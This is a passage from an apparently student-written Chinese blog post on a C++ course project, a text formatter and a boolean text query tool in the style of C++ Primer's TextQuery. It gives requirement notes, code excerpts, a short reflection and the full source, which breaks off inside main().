在行首),并由用户指定保存新文件的位置与新文件名,若位置与新文件名已存在,由用

户确认是否替换(原有文件内容不可改变,除非新文件与原文件在相同位置且有相同文件

名,并被确认替换)。

:::

调用在main的代码已经写了,对应FileFormatter类的设计已在需求2展示,这里直接展示结果

:::info
5. 文本查询允许用户指定一个文件(给定文件位置与文件名),并在其中查询单词,查询结

果是单词在文件中出现的次数及其所在行的列表。如果一个单词在一行中出现多次,此行

只列出一次。行会按照升序输出,即第7行会在第9行之前显示,以此类推。如果查询不

到,则不输出。例如,在读取一个文件后,在其中寻找单词element时,输出结果的前几行

应该类似这样:

>>> element

“element” 出现 112 次

(line 36) An element contains only a key;

(line 158) operator creates a new element

(line 160) Regardless of whether the element

(line 168) When we fetch an element from a map, we

(line 214) If the element is not found, find returns

:::

结果如图,相对应的函数,定义了一个StringTraslate和ExpTraslate函数实现对应的效果,以及一些辅助函数如空格过滤,判断输入的字符串是变量还是常量等。

StringTraslate主要是按照操作符分割字符串,已经判断是查询操作还是赋值操作

ExpTraslate先是把StringTraslate处理后的字符串设法转换成后缀表达式,然后利用栈完成运算(利用栈也是为了支持复杂运算)。

对应的栈结构声明为stack<shared_ptr>,这样就不会因为生存周期的问题造成非法内存访问。

最后ExpTraslate调用 qstack.top()->eval(TextQuery(ifs->getifsteram())).print();相关的语句,就可以完成结果效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
shared_ptr<IFileStream> ifs;
shared_ptr<FileFormatter> ff;
void BlankFliter(string &str)//使用C++string类的方法快速删除空格
{
//std::remove_if函数用于将所有空白字符移动到字符串的末尾,
//然后使用erase函数将它们从字符串中删除。
//::isspace函数是一个标准库函数,用于检查一个字符是否为空白字符。
str.erase(std::remove_if(str.begin(), str.end(), ::isspace), str.end());
}
void ExpTraslate(string &buf);
string IsNameReturn(string &buf){//针对一个单词的一次性检查
string result;
auto iter = umap.find(buf);
if(iter!=umap.end()){
result=iter->second;
return result;
}
return buf;
}
void StringTraslate(string &buf)//处理用户输入的字符串
{//首先判断是否执行 查询操作
if(buf[0]=='='){
buf.erase(buf.begin());
}
//然后判断是否执行 赋值 操作
int temp=0;
int times=0;
string name,value;


for(int i=0;i<buf.size()-1;i++){
if(buf[i]=='>'&&buf[i+1]=='>'){
filename=buf.substr(i+2,buf.size()-i-2);
buf=buf.substr(0,i);//前面是查询的单词
filesearch=1;
break;
}
}
for(int i=1;i<buf.length();i++){//跳过第一个字符,检查是否有赋值操作

if(buf[i]=='='){
for(int j=i;j<buf.length();j++){
if(buf[j]=='\"'&&times==0){//找到"说明是常量
temp=j+1;
times++;
}else if(buf[j]=='\"'&&times==1){
value=buf.substr(temp,j-temp);
times++;
break;
}
if(j==buf.length()-1){//找到最后一位的时候,说明这可能是个变量
string qwq=buf.substr(temp,j-temp);
auto iter = umap.find(qwq);
if(iter!=umap.end()){
value=iter->second;
break;
}
else{
cerr<<"输入了一个不存在的变量,如果需要输入常量abcd,请用\"abcd\"包裹常量abcd :("<<endl;
}
}
}
if(times%2){
cerr<<"请确保\"abcd\"包裹常量abcd :("<<endl;
}
name=buf.substr(0,i);
umap[name]=value;
return ;
}
}
//执行表达式处理操作 操作分为分割和计算
ExpTraslate(buf);
}
bool isOperater(string str){
if(str=="|"||str=="&"||str=="~"){
return true;
}
return false;
}
int Precedence(char op) {
if (op == '~') return 3;
if (op == '&') return 2;
if (op == '|') return 1;
else return 0;
}
void ExpTraslate(string &buf){//可能出现错误,可以尝试异常处理
stack<shared_ptr<Query>> qstack;
stack<char> opstack;
char op;
vector<string> backexp;
int word_start=0;
bool last_right=buf[buf.size()-1]==')';//看在最后一个是不是右边括号
bool Had_op=0;
int priority1;
for(int i=0;i<buf.size();i++){//分割字符串并转成后缀表达式
if(buf[i]=='~'||buf[i]=='|'||buf[i]=='&'||buf[i]=='('||buf[i]==')'){
Had_op=1;
op=buf[i];
priority1=Precedence(op);
if (opstack.empty()||op=='('){//或者左括号直接压栈
opstack.push(op);
if(i-word_start>0){
backexp.push_back(buf.substr(word_start,i-word_start));
}
word_start=i+1;
}
else if(op ==')'){//如果当前位置是右括号
if(i-word_start>0){//排除()遇到)的情况
backexp.push_back(buf.substr(word_start,i-word_start));
}
while(!opstack.empty()&&opstack.top()!='('){// 不断将栈中的元素弹出,直到遇到左括号
string tempop(1,opstack.top());
opstack.pop();
backexp.push_back(tempop);
}
if(!opstack.empty()&&opstack.top()=='('){//遇到左括号就将他弹出
opstack.pop();
}
else{
cerr<<"表达式括号不匹配,请检查并重启程序 :("<<endl;
exit(-1);
}
word_start=i+1;
}
else if(op=='~'||op=='|'||op=='&')
{
if(i-word_start>0){//排除(~a)遇到~的情况
backexp.push_back(buf.substr(word_start,i-word_start));
}
while((!opstack.empty())&&(Precedence(opstack.top())>=priority1)){
// 如果栈不空,栈顶为运算符,并且栈顶运算符的优先级大于等于当前运算符的优先级
string tempop(1,opstack.top());
opstack.pop();
backexp.push_back(tempop);
}
//再将操作符压入栈
opstack.push(op);
word_start=i+1;
}
}

}//清空栈,放到后缀表达式
if(!last_right){
backexp.push_back(buf.substr(word_start,buf.size()-word_start));
}
while(!opstack.empty()){//如果op栈不空,弹出所有元素到后缀表达式
string tempop(1,opstack.top());
opstack.pop();
backexp.push_back(tempop);
}
if(!Had_op){//没有运算符,直接走捷径
Query onetime(IsNameReturn(buf));
if(filesearch){
OFileStream ofi(filename);
cout<<onetime.rep()<<endl;

onetime.eval(TextQuery(ifs->getifsteram())).write(ofi.getofsteram());
}else{
cout<<onetime.rep()<<endl;
onetime.eval(TextQuery(ifs->getifsteram())).print();
return;
}

}
//如果有运算符,都在栈里面
while(!backexp.empty()){
if(isOperater(backexp.front()))//判断向量backexp里面的是不是运算符
{
string opstr=backexp.front();
if(opstr=="|"){
if(qstack.size()<2){
cerr<<"表达式所需要的操作数不够... :("<<endl;
return ;
}
shared_ptr<Query> temp1=qstack.top();
//temp1=qstack.top();
qstack.pop();
shared_ptr<Query> temp2=qstack.top();
qstack.pop();
shared_ptr<Query> result=make_shared<Query>(*temp1.get()|*temp2.get());
qstack.push(result);
}else if(opstr=="&"){
if(qstack.size()<2){
cerr<<"表达式所需要的操作数不够... :("<<endl;
return ;
}
shared_ptr<Query> temp1=qstack.top();
//temp1=qstack.top();
qstack.pop();
shared_ptr<Query> temp2=qstack.top();
qstack.pop();
shared_ptr<Query> result=make_shared<Query>(*temp1.get()&*temp2.get());
qstack.push(result);
}else if(opstr=="~"){
if(qstack.size()<1){
cerr<<"表达式所需要的操作数不够... :("<<endl ;
return ;
}
shared_ptr<Query> temp=qstack.top();
qstack.pop();
shared_ptr<Query> result=make_shared<Query>(~(*temp.get()));
qstack.push(result);
}
backexp.erase(backexp.begin());
}//如果不是则执行下面,将Query对象入栈
else{
qstack.push(make_shared<Query>(IsNameReturn(backexp.front())));//栈里面的都是共享指针
backexp.erase(backexp.begin());
}
}
//最后所有运算操作完成
if(qstack.size()==1){
if(filesearch){
OFileStream ofi(filename);
qstack.top()->eval(TextQuery(ifs->getifsteram())).write(ofi.getofsteram());
}else{
qstack.top()->eval(TextQuery(ifs->getifsteram())).print();
}
}else{
cerr<<"表达式可能出现错误,无法运算出唯一结果"<<endl;
exit(-1);
}
}

解析需求6

:::info
文本查询功能可以通过交互式的方式保存用户输入的字符串(与项目二一样,忽略输入时

的各种空格),并可以支持逻辑查询操作(各种逻辑运算)。

:::

还是老样子涉及到unordered_map

1
2
3
4
5
6
7
8
9
10
11
12
unordered_map<string,string>umap{

};
string IsNameReturn(string &buf){//针对一个单词的一次性检查是否是变量
string result;
auto iter = umap.find(buf);
if(iter!=umap.end()){
result=iter->second;
return result;
}
return buf;
}

解析需求7

:::info
7. 要能够打印各种错误信息,比如用户输入不符合规范时。

:::

OFileStream和IFileStream里面都有对应的错误异常处理

输入的路径有问题,就返回主函数重新执行菜单

输入的查询表达式有问题,返回主函数

解析需求9

:::info
9. 尝试支持带括号控制优先级的复杂运算(优先级参照C++运算符优先级),如

>>> ((~a | b & c) | d) & d

:::

利用栈就可以实现复杂表达式的运算,就是优先级的问题。代码在需求5已经贴出

解析需求11

可以看到能够成功写到文件中,其实就是字符串处理操作中,根据>>分割成前后部分,后面打开文件即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class QueryResult{

private:
string inputword;//需要查询的单词
shared_ptr<set<unsigned>> idx;//出现的行号
shared_ptr<vector<string>> file;//查找的文件
public:
void write(ofstream& ofs){
ofs<<"\""<<this->inputword<<"\"出现了"<<this->idx->size()<<"次"<<endl;
for(auto num:*(this->idx)){
ofs<<" (line "<<num+1<<") ";
ofs<<*(this->file->begin()+num)<<endl;
}
..........
...........
.........
}

总结

算是比较正常的完成了一个程序,有了正确的思路和设计方向就是省了很多纠错的时间,对类和对象的印象更加深刻了,以及多态继承等概念,还有共享指针的妙处就是跨越{}作用域给你传输数据。解决了上次没有解决复杂表达式的问题,果然还是直接设计面向对象的栈类型是最佳的,以及重载需要的操作符,让我们更加方便的对对象进行操作。复习了RAII和异常处理类操作,没有用上模板但是没关系,也不强求,看需求。

不足之处感觉就是没有完成所有任务,感觉还是自己不够下功夫。

看了C++prinmer的相关章节,认识到自己还是需要看一遍这本书的,对于内存操作感觉还是有点陌生,以及共享指针的用处,看了才知道怎么用。

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
#include <iostream>
#include <sstream>
#include <fstream>
#include <memory>
#include <string>
#include <vector>
#include <map>
#include <unordered_map>
#include <stack>
#include <set>
#include <algorithm>

using namespace std;
#define MAX 1024
unordered_map<string,string>umap{

};
string IsNameReturn(string &buf);
string filename;
bool filesearch=0;
bool FileExists(const string& filename) {
ifstream file(filename);
return file.good();
}
//返回的结果类
class QueryResult{

private:
string inputword;//需要查询的单词
shared_ptr<set<unsigned>> idx;//出现的行号
shared_ptr<vector<string>> file;//查找的文件
public:
QueryResult(string s,shared_ptr<set<unsigned>> i,shared_ptr<vector<string>> f):inputword(s),idx(i),file(f){

}
void print()
{
cout<<"\""<<this->inputword<<"\"出现了"<<this->idx->size()<<"次"<<endl;
//打印出现的每一行
for(auto num:*(this->idx)){
cout<<" (line "<<num+1<<") ";
cout<<*(this->file->begin()+num)<<endl;
}
}
void write(ofstream& ofs){
ofs<<"\""<<this->inputword<<"\"出现了"<<this->idx->size()<<"次"<<endl;
for(auto num:*(this->idx)){
ofs<<" (line "<<num+1<<") ";
ofs<<*(this->file->begin()+num)<<endl;
}
// for(const string &s:newbuf){
// ofs<<s<<endl;
// }
}
shared_ptr<vector<string>> getfile(){//返回file的共享指针
return file;
}
shared_ptr<set<unsigned>> getset(){//返回行号的共享指针
return idx;
}
shared_ptr<set<unsigned>> getfileset(){//返回整体行号的共享指针
shared_ptr<set<unsigned>> fileset =make_shared<set<unsigned>>();;
for(int i=0;i<file->size();i++){
fileset->insert(i);
}
return fileset;
}

};
class TextQuery{
private:
shared_ptr<vector<string>> file;//存储文章的向量只能得指针
map<string,shared_ptr<set<unsigned>>> wordmap;//用unsigned存储行号
public:
//初始化需要一个文件流。
TextQuery(ifstream& is):file(new vector<string>)//对文件流的单词句子进行解读
{
string text;
while(getline(is,text))//获取每一行
{//file是一个vector对象
file->push_back(text);
int n=file->size()-1;//也就是行号?下标?
istringstream line(text);
string word;
while(line >> word)//用string这个流分解单词
{//匹配每一个单词
shared_ptr<set<unsigned>> lines;//map的值是一个(set对象的)智能指针
if(!wordmap.count(word)){//如果不存在,说明是新单词,开辟一个set空间,并初始化
lines = make_shared<set<unsigned>>();
wordmap[word] = lines;
}
wordmap[word]->insert(n);
}
}
}
QueryResult query(const string& inputword)const//返回查找结果,查找结果是一个queryRE对象
{//如果未找到,就直接返回一个指向空的set的set共享指针
static shared_ptr<set<unsigned>> nodata(new set<unsigned>());//返回智能指针指向空set
auto loc=wordmap.find(inputword);
if(loc == wordmap.end()){
return QueryResult(inputword,nodata,file);
}else{
return QueryResult(inputword,loc->second,file);
}
}

};



class QueryBase{
friend class Query;
protected:
unsigned idx;
virtual ~QueryBase(){};
private:
virtual QueryResult eval(const TextQuery&)const{}
virtual string rep()const{}//生成用于查询的rep文本
};

class WordQuery : public QueryBase{
friend class Query;
public:
~WordQuery() override{

}
private:
//构造函数,接收string
WordQuery(const string &s):query_word(s){}
//重载虚构函数
QueryResult eval(const TextQuery &t)const{
return t.query(query_word);//wordquery返回的结果就是根据单词本身返回的QueryRE
}
string rep() const{
return query_word;
}
string query_word;

};

class Query{
//对三个运算符友元
friend Query operator ~(const Query&);
friend Query operator |(const Query& ,const Query &);
friend Query operator &(const Query& ,const Query &);
private:
//构造函数shared_ptr
//传进来是 指向QueryBase类型的 共享指针
shared_ptr<QueryBase> q;//指向基类的指针
public:
Query(shared_ptr<QueryBase> query):q(query){};
Query& operator =(const Query& que){
q=que.q;
return *this;
}
Query(const string &s){
shared_ptr<WordQuery> ptr(new WordQuery(s));
q=ptr;
}//传进来是string类型的 用来构建WordQuery,来创建Query的q成员
QueryResult eval(const TextQuery &t)const{
return q->eval(t);
}
string rep ()const{
return q->rep();
}
friend ostream & operator<<(ostream &os,const Query& query)
{
return os << query.rep();
}
};

class NotQuery : public QueryBase{
friend Query operator ~(const Query &);
public:
~NotQuery() override{

}
private:
NotQuery(const Query &q):query(q){}
string rep()const{
return "~("+query.rep()+")";
}
QueryResult eval(const TextQuery & text)const {
auto sml=query.eval(text);
auto smlset=sml.getset();
auto allset=sml.getfileset();
set<unsigned> resultset;
//包含关系,差集即是非集,大减小即可。集合本身因为迭代特性所以本身就有序。
set_difference(allset->begin(),allset->end(),smlset->begin(),smlset->end(),inserter(resultset,resultset.begin()));
shared_ptr<set<unsigned>> resultptr=make_shared<set<unsigned>>(resultset);
return QueryResult(rep(),resultptr,sml.getfile());
}
Query query;
};
inline Query operator~ (const Query &operand){
return shared_ptr<QueryBase>(new NotQuery(operand));
}
class BinaryQuery : public QueryBase{
friend Query operator ~(const Query &);
protected:
BinaryQuery(const Query &l,const Query &r,string s):lhs(l),rhs(r),opSym(s){}
string rep()const{
return "("+lhs.rep()+" "+opSym+" "+rhs.rep()+")";
}
Query lhs,rhs;
string opSym;
};

class OrQuery : public BinaryQuery{
friend Query operator |(const Query &,const Query &);
public:
~OrQuery() override{

}
private:
OrQuery(const Query &l,const Query & r):BinaryQuery(l,r,"|"){}
QueryResult eval(const TextQuery &text)const {
//两个成员分别lhs,rhs。求并集不妨找他们返回的set的共享指针,然后用算法求
//lhs和rhs都是WordQuery
auto r=rhs.eval(text),l=lhs.eval(text);
auto retlines=l.getset();
retlines->insert(r.getset()->begin(),r.getset()->end());//左侧的插入右侧形成并集
return QueryResult(rep(),retlines,l.getfile());//两个file都一样
}

};
inline Query operator| (const Query &lhs,const Query &rhs){
return shared_ptr<QueryBase>(new OrQuery(lhs,rhs));
}
class AndQuery : public BinaryQuery{
friend Query operator &(const Query &,const Query &);
public:
~AndQuery() override{

}
private:
AndQuery(const Query &l,const Query & r):BinaryQuery(l,r,"&"){}
QueryResult eval(const TextQuery &text)const {
//两个成员分别lhs,rhs。求交集不妨找他们返回的set的共享指针,然后用算法求
//lhs和rhs都是WordQuery
auto r=rhs.eval(text),l=lhs.eval(text);//R和L是ResultQE
auto lset=l.getset(),rset=r.getset();
set<unsigned> resultset;
set_intersection(lset->begin(),lset->end(),rset->begin(),rset->end(),inserter(resultset,resultset.begin()));
shared_ptr<set<unsigned>> resultptr=make_shared<set<unsigned>>(resultset);
return QueryResult(rep(),resultptr,l.getfile());
}
};
inline Query operator& (const Query &lhs,const Query &rhs){
return shared_ptr<QueryBase>(new AndQuery(lhs,rhs));
}
//文件打开写入操作流
class OFileStream{
private:
string FilePath;
ofstream ofile;
public:
OFileStream(const string &name){
ofile.close();
FilePath=name;
if(FileExists(name)){
cout<<"文件存在,是否进行覆写?(Y/N):";
char response;
cin>>response;
cin.ignore();
if(response=='Y'||response=='y'){
ofile.close();
ofile.open(name,ios::out);
if(ofile.is_open()){//判断文件是否已经创建流
cout<<"文件"<<name<<"成功打开,请写入 :)"<<endl;
}else{
cerr<<"文件"<<name<<"打开出现异常 :("<<endl;
}
}else{
cout<<"保留原有文件,不进行操作"<<endl;
}
}else{
//文件不存在的情况
ofile.close();
ofile.open(name,ios::out);
if(ofile.is_open()){//判断文件是否已经创建流
cout<<"文件"<<name<<"成功打开,请写入 :)"<<endl;
}else{
char ch='0';
throw ch;
}
}
}
~OFileStream(){
FilePath="";
if(ofile.is_open()){
ofile.close();
}
}
ofstream& getofsteram(){
return ofile;
}
};
//文件读取操作流
class IFileStream{
private:
string FilePath;
ifstream ifile;
public:
IFileStream(const string &name){
FilePath=name;
if(ifile.is_open()){//判断文件是否已经创建流
cout<<"文件"<<name<<"已被打开过... :|"<<endl;
}
else{
ifile.open(name);
if(ifile.is_open()){//判断文件是否已经创建流
cout<<"文件"<<name<<"可以读取 :)"<<endl;
}else{
string something="文件"+name+"读取出现异常,不存在的路径 :(";
throw something;
}
}
}
~IFileStream(){
FilePath="";
if(ifile.is_open()){
ifile.close();
}
}

ifstream& getifsteram(){
return ifile;
}
};
class FileFormatter{
private:
OFileStream ost;
IFileStream ist;
vector<string> vecbuf;
vector<string> newbuf;
unsigned num;
public:
FileFormatter(const string FilePath,const string newFilePath,unsigned n):ist(FilePath),ost(newFilePath),num(n),vecbuf(),newbuf(){
}
void readFromFile()//读取源文件
{//ist是读取文件的留,我们利用它把文件读取到指定的容器vector中。
//然后再对其进行格式化。所以此函数的作用就是将ist的内容读取出来放到vector中。
//如果文件不存在,初始化的时候会报错
//该函数作用域结束后会调用析构函数,不会造成资源浪费。
stringstream ss;
string temp,t;
char c[num+10];
while (getline(ist.getifsteram(),temp)){
//temp=c;
ss<<temp;
while(ss >> t){
vecbuf.push_back(t);//把每个单词放在容器里。
}
ss.clear();//提取完一行清除字符串流
}
}
void formatText()//格式化字符句子
{//如果单词字符数大于n,则单独独占一行
//外层循环的结束条件是vector是否用完
while(vecbuf.size()){
string str="";
if(vecbuf.front().length()>=num){
newbuf.push_back(vecbuf.front());
vecbuf.erase(vecbuf.begin());//删除第一个元素
}else{
while(str.length()<num){//对于一个句子,当前句子长度+单词长度大于num就不执行了
bool flag=vecbuf.front()=="."||vecbuf.front()==";"||vecbuf.front()=="!"||vecbuf.front()=="\""||vecbuf.front()==","||vecbuf.front()==":"||vecbuf.front()=="?";
if(str.length()==0){
//检测巨首是不是标点
if(flag){//如果是标点符号,进行处理。
cerr<<"句首出现标点符号"<<endl;
}
if(!vecbuf.empty()){
str=vecbuf.front();
vecbuf.erase(vecbuf.begin());
}
}//如果小于,就继续做
else if((str.length()+vecbuf.front().length()+1)<=num&&!flag){//句子加单词长度大于num,而不是加符号
if(!vecbuf.empty()){
str=str+" "+vecbuf.front();
vecbuf.erase(vecbuf.begin());
}
}
else if(flag){
while(flag){
if(!vecbuf.empty()){//如果句尾是标点连着的话,就连续处理
str=str+" "+vecbuf.front();
vecbuf.erase(vecbuf.begin());
flag=vecbuf.front()=="."||vecbuf.front()==";"||vecbuf.front()=="!"||vecbuf.front()=="\""||vecbuf.front()==","||vecbuf.front()==":"||vecbuf.front()=="?";
}else{
flag=false;
}
}
flag=false;
}
else{
break;
}
if(vecbuf.empty()){
break;
}
}
newbuf.push_back(str);
}
}

}
void saveToFile()//将格式化后的文本内容保存到新的位置和文件名。
{
ofstream& outfile=ost.getofsteram();
for(const string &s:newbuf){
outfile<<s<<endl;
}
}
};
shared_ptr<IFileStream> ifs;
shared_ptr<FileFormatter> ff;
void BlankFliter(string &str)//使用C++string类的方法快速删除空格
{
//std::remove_if函数用于将所有空白字符移动到字符串的末尾,
//然后使用erase函数将它们从字符串中删除。
//::isspace函数是一个标准库函数,用于检查一个字符是否为空白字符。
str.erase(std::remove_if(str.begin(), str.end(), ::isspace), str.end());
}
void ExpTraslate(string &buf);
string IsNameReturn(string &buf){//针对一个单词的一次性检查
string result;
auto iter = umap.find(buf);
if(iter!=umap.end()){
result=iter->second;
return result;
}
return buf;
}
void StringTraslate(string &buf)//处理用户输入的字符串
{//首先判断是否执行 查询操作
if(buf[0]=='='){
buf.erase(buf.begin());
}
//然后判断是否执行 赋值 操作
int temp=0;
int times=0;
string name,value;


for(int i=0;i<buf.size()-1;i++){
if(buf[i]=='>'&&buf[i+1]=='>'){
filename=buf.substr(i+2,buf.size()-i-2);
buf=buf.substr(0,i);//前面是查询的单词
filesearch=1;
break;
}
}
for(int i=1;i<buf.length();i++){//跳过第一个字符,检查是否有赋值操作

if(buf[i]=='='){
for(int j=i;j<buf.length();j++){
if(buf[j]=='\"'&&times==0){//找到"说明是常量
temp=j+1;
times++;
}else if(buf[j]=='\"'&&times==1){
value=buf.substr(temp,j-temp);
times++;
break;
}
if(j==buf.length()-1){//找到最后一位的时候,说明这可能是个变量
string qwq=buf.substr(temp,j-temp);
auto iter = umap.find(qwq);
if(iter!=umap.end()){
value=iter->second;
break;
}
else{
cerr<<"输入了一个不存在的变量,如果需要输入常量abcd,请用\"abcd\"包裹常量abcd :("<<endl;
}
}
}
if(times%2){
cerr<<"请确保\"abcd\"包裹常量abcd :("<<endl;
}
name=buf.substr(0,i);
umap[name]=value;
return ;
}
}
//执行表达式处理操作 操作分为分割和计算
ExpTraslate(buf);
}
bool isOperater(string str){
if(str=="|"||str=="&"||str=="~"){
return true;
}
return false;
}
int Precedence(char op) {
if (op == '~') return 3;
if (op == '&') return 2;
if (op == '|') return 1;
else return 0;
}
void ExpTraslate(string &buf){//可能出现错误,可以尝试异常处理
stack<shared_ptr<Query>> qstack;
stack<char> opstack;
char op;
vector<string> backexp;
int word_start=0;
bool last_right=buf[buf.size()-1]==')';//看在最后一个是不是右边括号
bool Had_op=0;
int priority1;
for(int i=0;i<buf.size();i++){//分割字符串并转成后缀表达式
if(buf[i]=='~'||buf[i]=='|'||buf[i]=='&'||buf[i]=='('||buf[i]==')'){
Had_op=1;
op=buf[i];
priority1=Precedence(op);
if (opstack.empty()||op=='('){//或者左括号直接压栈
opstack.push(op);
if(i-word_start>0){
backexp.push_back(buf.substr(word_start,i-word_start));
}
word_start=i+1;
}
else if(op ==')'){//如果当前位置是右括号
if(i-word_start>0){//排除()遇到)的情况
backexp.push_back(buf.substr(word_start,i-word_start));
}
while(!opstack.empty()&&opstack.top()!='('){// 不断将栈中的元素弹出,直到遇到左括号
string tempop(1,opstack.top());
opstack.pop();
backexp.push_back(tempop);
}
if(!opstack.empty()&&opstack.top()=='('){//遇到左括号就将他弹出
opstack.pop();
}
else{
cerr<<"表达式括号不匹配,请检查并重启程序 :("<<endl;
exit(-1);
}
word_start=i+1;
}
else if(op=='~'||op=='|'||op=='&')
{
if(i-word_start>0){//排除(~a)遇到~的情况
backexp.push_back(buf.substr(word_start,i-word_start));
}
while((!opstack.empty())&&(Precedence(opstack.top())>=priority1)){
// 如果栈不空,栈顶为运算符,并且栈顶运算符的优先级大于等于当前运算符的优先级
string tempop(1,opstack.top());
opstack.pop();
backexp.push_back(tempop);
}
//再将操作符压入栈
opstack.push(op);
word_start=i+1;
}
}

}//清空栈,放到后缀表达式
if(!last_right){
backexp.push_back(buf.substr(word_start,buf.size()-word_start));
}
while(!opstack.empty()){//如果op栈不空,弹出所有元素到后缀表达式
string tempop(1,opstack.top());
opstack.pop();
backexp.push_back(tempop);
}
if(!Had_op){//没有运算符,直接走捷径
Query onetime(IsNameReturn(buf));
if(filesearch){
OFileStream ofi(filename);
cout<<onetime.rep()<<endl;

onetime.eval(TextQuery(ifs->getifsteram())).write(ofi.getofsteram());
cout<<"写入成功"<<endl;
}else{
cout<<onetime.rep()<<endl;
onetime.eval(TextQuery(ifs->getifsteram())).print();
return;
}

}
//如果有运算符,都在栈里面
while(!backexp.empty()){
if(isOperater(backexp.front()))//判断向量backexp里面的是不是运算符
{
string opstr=backexp.front();
if(opstr=="|"){
if(qstack.size()<2){
cerr<<"表达式所需要的操作数不够... :("<<endl;
return ;
}
shared_ptr<Query> temp1=qstack.top();
//temp1=qstack.top();
qstack.pop();
shared_ptr<Query> temp2=qstack.top();
qstack.pop();
shared_ptr<Query> result=make_shared<Query>(*temp1.get()|*temp2.get());
qstack.push(result);
}else if(opstr=="&"){
if(qstack.size()<2){
cerr<<"表达式所需要的操作数不够... :("<<endl;
return ;
}
shared_ptr<Query> temp1=qstack.top();
//temp1=qstack.top();
qstack.pop();
shared_ptr<Query> temp2=qstack.top();
qstack.pop();
shared_ptr<Query> result=make_shared<Query>(*temp1.get()&*temp2.get());
qstack.push(result);
}else if(opstr=="~"){
if(qstack.size()<1){
cerr<<"表达式所需要的操作数不够... :("<<endl ;
return ;
}
shared_ptr<Query> temp=qstack.top();
qstack.pop();
shared_ptr<Query> result=make_shared<Query>(~(*temp.get()));
qstack.push(result);
}
backexp.erase(backexp.begin());
}//如果不是则执行下面,将Query对象入栈
else{
qstack.push(make_shared<Query>(IsNameReturn(backexp.front())));//栈里面的都是共享指针
backexp.erase(backexp.begin());
}
}
//最后所有运算操作完成
if(qstack.size()==1){
if(filesearch){
OFileStream ofi(filename);
qstack.top()->eval(TextQuery(ifs->getifsteram())).write(ofi.getofsteram());
cout<<"写入成功"<<endl;
}else{
qstack.top()->eval(TextQuery(ifs->getifsteram())).print();
}
}else{
cerr<<"表达式可能出现错误,无法运算出唯一结果"<<endl;
exit(-1);
}
}
void menu(){
cout<<"选择需要的功能:"<<endl;
cout<<"1.文本格式化"<<endl;
cout<<"2.文本查询"<<endl;
cout<<"3.退出"<<endl;
cout<<"Your Choice: ";
}

int main()
{//对输入的buf进行判别
int cho;
string buf;

string newbuf;
while(1){
menu();
cin>>cho;
cin.ignore();
switch (cho)
{
case 1://让用户输入路径
cout<<"请输入读取的文件路径"<<endl;
cout<<">>> ";
getline(cin,buf);
cout<<"请指定每行最大的字符数n :)"<<endl;
cout<<">>>";
int num;
cin>>num;
cin.ignore();
cout<<"请指定新文件保存的路径 :)"<<endl;
cout<<">>>";
getline(cin,newbuf);
try{
ff=make_shared<FileFormatter>(buf,newbuf,num);
ff->readFromFile();
ff->formatText();
ff->saveToFile();
}catch(string str){
cerr<<"错误的文件路径"<<buf<<"导致打开异常 :("<<endl;
